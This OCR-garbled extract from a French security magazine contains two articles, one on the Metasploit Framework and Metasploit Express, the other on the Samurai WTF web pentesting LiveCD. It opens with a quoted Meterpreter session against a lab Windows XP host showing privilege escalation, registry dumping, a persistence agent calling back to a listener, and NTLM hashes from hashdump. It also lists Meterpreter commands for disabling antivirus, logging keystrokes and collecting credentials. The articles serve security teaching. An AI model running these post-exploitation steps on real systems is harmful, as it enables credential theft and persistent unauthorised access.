[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

